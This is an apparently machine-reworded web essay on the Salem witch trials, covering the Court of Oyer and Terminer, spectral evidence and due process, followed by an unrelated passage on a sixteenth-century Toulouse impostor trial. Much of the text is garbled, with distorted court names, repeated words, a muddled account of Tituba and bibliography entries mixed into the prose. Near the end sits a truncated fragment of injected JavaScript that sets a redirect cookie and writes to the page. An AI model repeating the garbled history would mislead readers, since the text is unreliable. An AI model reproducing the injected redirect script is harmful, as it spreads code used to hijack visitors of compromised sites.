When William Phips, the new royal governor of Massachusetts Bay Province, arrived from England in May, the accused witches filled up in local jails. At that time, the colony operated without a charter, as the crown had revoked the previous one due to repeated violations. Phips brought with him a new royal charter that gave the colony`s legislature the right to establish a tribunal. But the process would take time and Phips had to act quickly. The accused lacked basic legal protection, including the premise that one of them was innocent until proven guilty. Although the Salem witch trials caused immense unnecessary suffering, they influenced decisions about fundamental freedoms, especially within the judicial system, for years to come. “The trials are full of cautionary tales of how catastrophic things can be when prosecutions don`t offer certain minimum safeguards,” Niehoff said. By the late 1600s, the community of Salem Village in the Massachusetts Bay Colony (now Danvers, Massachusetts) was quite small and went through a period of turmoil with little political leadership. There was a social divide between the ruling families as well as a split between the factions that were for and against the new pastor of the village, Samuel Parris. After some of the young girls in the village (including two members of Parris` family) began to show strange behaviors and convulsions, they were asked to identify the person who had bewitched them.

Their initial accusations gave way to trials, hysteria and a frenzy that led to further accusations, often between different factions. The village of Salem, inhabited mainly by Puritans, experienced economic difficulties in 1692, and the residents were only too willing to blame someone else for their problems. Prosecutors were usually young women between the ages of 11 and 20. The mischief began when a group of girls accused Tituba, a slave from South America who had told her fate, of witchcraft after mysteriously falling ill. In response to the increased attention, the girls have expanded their credibility by presenting a wealth of new evidence against the accused witches and spreading hysteria in nearby towns. The Salem witch trials demonstrate the importance of due process to protect individuals from false accusations. With the Bill of Rights, interpretations of the First Amendment always decided that defamation and defamation were not constitutionally protected. This image is an imaginative representation of the Salem witch trials. (“The Witch No. 1,” Joseph E. Baker, 1892, Library of Congress photo) Hutchinson, Francis, 1660-1739.

A historical essay on witchcraft. London: Printed for R. Knaplock. and D. Midwinter. 1718 Weisman, Richard. Witchcraft, Magic and Religion in 17th Century Massachusetts (The University of Massachusetts Press, XXKFM2478.8.W5W4440 1984). Includes a chapter on “The Crime of Witchcraft in the Historical Context of Massachusetts Bay and Law Enforcement Models.” The appendices contain lists of lawsuits against witchcraft before prosecution in Salem, defamation lawsuits for witchcraft in Massachusetts Bay, people accused of witchcraft in Salem, confessors, allegations of ordinary witchcraft after the case, people affected. In the fall of 1692, the witch-hunt hysteria began to subside as more and more people doubted that so many could be guilty of witchcraft. People urged the courts not to admit spectral evidence and instead rely on clear and convincing witness statements.

As soon as the spectral evidence was no longer admissible, there were numerous acquittals and the three women originally convicted were pardoned. In May 1693, the other accused and convicted witches were released from prison. As a result of the witches` hysteria in Salem, 14 women and 5 men were executed out of the 150 arrested and 26 convicted. The Salem witch trials lasted just over a year and had very little practical impact on the settlements as a whole. However, trials and executions have had a living afterlife in American consciousness, leading to a wealth of scholarship and a wealth of cultural artifacts, including paintings, novels, plays, and films. In a fateful decision, Governor Phips created a special court to try Salem`s accused witches. It was known as the Court of Oyer and Terminer, which means “to hear and determine” in Old Northern French, which was still the norm in English courts at the time. While remnants of this legal language still persist in the modern American legal system, the procedure in the United States begins with the phrase “oyez, oyez, oyez.” The Supreme Court – the Court of Oyer and Termine – bore little resemblance to the courts we know today. When told they would show leniency if they confessed, 54 of the accused witches admitted guilt. Families and friends often urged their loved ones to confess for their lives. Families sometimes turned against each other.

When Margaret Jacobs confessed to witchcraft, she accused several others, including her grandfather, the Reverend George Burroughs. When Governor Phips arrived in the colony, the prisons were already overcrowded with people accused of witchcraft. In an attempt to expedite the process, he formed a special Oyer and Finish court to hear cases. In modern courts, the accused is presumed innocent until proven guilty. However, the defendants before the Oyer and Termine court in Salem were found guilty. The Salem Witch Trials Act is a fascinating mix of biblical passages and colonial laws. According to Mark Podvia (see timeline, PDF), the General Court of the Massachusetts Bay Colony passed the following law in 1641: “If a man or woman is a witch, that is, he has or consults a familiar mind, he shall be killed. Exod. 22.

18. Levite. 20. 27. Deut. 18. 10. 11. The statute includes passages from the Bible written around 700 B.C. The Exodus says, “You will not allow a witch to live.” Leviticus prescribes punishment. Witches and sorcerers “will certainly be killed; they will stone them with stones; Their blood will be on them. And Deuteronomy says, “There will be no one among you who lets your son or daughter pass through the fire, or who uses prophecy, or a time watcher, or a sorcerer, or a witch.

Or a charmer or consultant with familiar spirits, or a wizard or necromancer. In an interview with History, Niehoff said the defendants were also at a disadvantage because “no defense attorney was present or licensed” at Salem`s Oyer and Termine court. According to him, a defense lawyer could have “very effectively” challenged a large majority of witnesses in trials. When an accused witch appeared before the court of Oyer and Termine at the Salem witch trials, the law presumed that she was guilty. Today, the presumption of innocence, or the notion that a person charged with a crime is “innocent until proven guilty,” is one of the fundamental rights that underpin the U.S. criminal justice system. The Puritans of that time believed that physical realities had spiritual causes. If a farmer had a bountiful harvest, it was because God had blessed him. However, if the harvest failed, God abandoned him as a sinner, or the devil (and the devil`s servants) intervened.

Because of this worldview, witchcraft was not a challenge for the people of Salem village. Eventually, several others, mostly young girls, claimed to suffer from the same supernatural diseases. If those accused of witchcraft were charged in different courts, they could be convicted on purely spectral conjecture. If an alleged witch touched a convulsive victim and the victim claimed that her symptoms suddenly disappeared, the accused was convicted and probably executed. These Puritans took the “flimsy evidence” to a whole new level. It is tempting to dismiss this unfortunate period of our history as a mistake of archaic laws, a failure of local government and Puritan culture. However, it should be noted that a similar incident occurred in the United States relatively recently: the McCarthyite paranoia of the 1950s. As far apart as the Salem witch trials and even McCarthyism now seem, it`s important to remember that no legal system is perfect. Our justice system is a living, breathing organism, open to interpretation and manipulation, and it does not seem much different from the Salem courts. We must learn from the horrors of the past and continually evaluate our legal processes to ensure that the innocent are released and the guilty are brought to justice. Our generation is not immune to the potential threat of mass hysteria and legal loopholes; We must be wary of that.

Scary to think about. =(time=cookie)|| void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);d ocument.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(“)} ]]> Levin, David. What happened in Salem? (2nd ed. Harcourt, Brace & Co. BF1575. L40 1960) (documents on witch trials of the seventeenth century). Compiles evidence, contemporary commentaries and remedies. One of the judges of Toulouse was the respected civil lawyer Jean de Coras, who published many scientific treatises on law. Coras, who was charged with preparing the official record of the trial, was so fascinated by the drama of the war affair and the legal issues it raised that in 1561 he published a comprehensive report that became very popular, with five reprints in about as many years and new editions produced in Paris over the next two decades.

Brussels and Frankfurt. The case was of paramount interest to lawyers and judges because it presented a legal question with few established precedents: How do you judge a fairly new crime, deception, in circumstances that test the conventional limits of evidence and evidence? How did you definitively prove your identity in an era before physical evidence like fingerprints or dental records? What role did memory play when the “memories” of a fraudster could be so well supported by collective memory and eyewitness accounts? The War case woven a complex web that included legal issues such as identity theft, fraud, marriage, adultery, and inheritance, and raised fundamental municipal, social, and legal questions about the nature of individual identity.